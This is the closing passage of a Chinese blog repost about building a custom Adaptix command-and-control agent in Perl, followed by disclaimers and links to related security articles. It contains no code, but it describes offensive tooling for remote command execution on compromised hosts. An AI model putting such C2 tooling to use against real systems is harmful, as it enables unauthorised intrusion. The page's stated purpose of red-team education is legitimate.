至此,本系列第一篇就结束了!我们已经 (基本) 从零搭建了一个可用的 Adaptix agent,涵盖监听器实现、agent 生成以及基础命令执行。本次迭代的完整代码已发布在 GitHub 上。

Lamperl-v1

下一篇文章将继续扩展 agent 能力:加入文件上传、下载,以及异步 job 处理。


Lessons from Perlyite(Building a custom Adaptix agent)

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment Polar《从 Perlyite 到 Lamperl:用 Perl 构建自定义 Adaptix C2 Agent (第 1 篇)》

高级红队专家知识库 网络安全文章

高级红队专家知识库

文章总结: 本文推广名为高级红队专家知识库的付费产品,内含2614篇以OSCP为主的技术内容。作者展示了问答效果,并提供了售价200元的永久使用方式及购买联系渠
智能体应用程序安全指南 网络安全文章

智能体应用程序安全指南

文章总结: 本文介绍了智能体应用程序安全指南,涵盖智能体系统的安全控制、架构模式及威胁缓解策略,涉及全生命周期与大模型组件的安全考量。此外,本文主要用于推广Fr
评论:0   参与:  0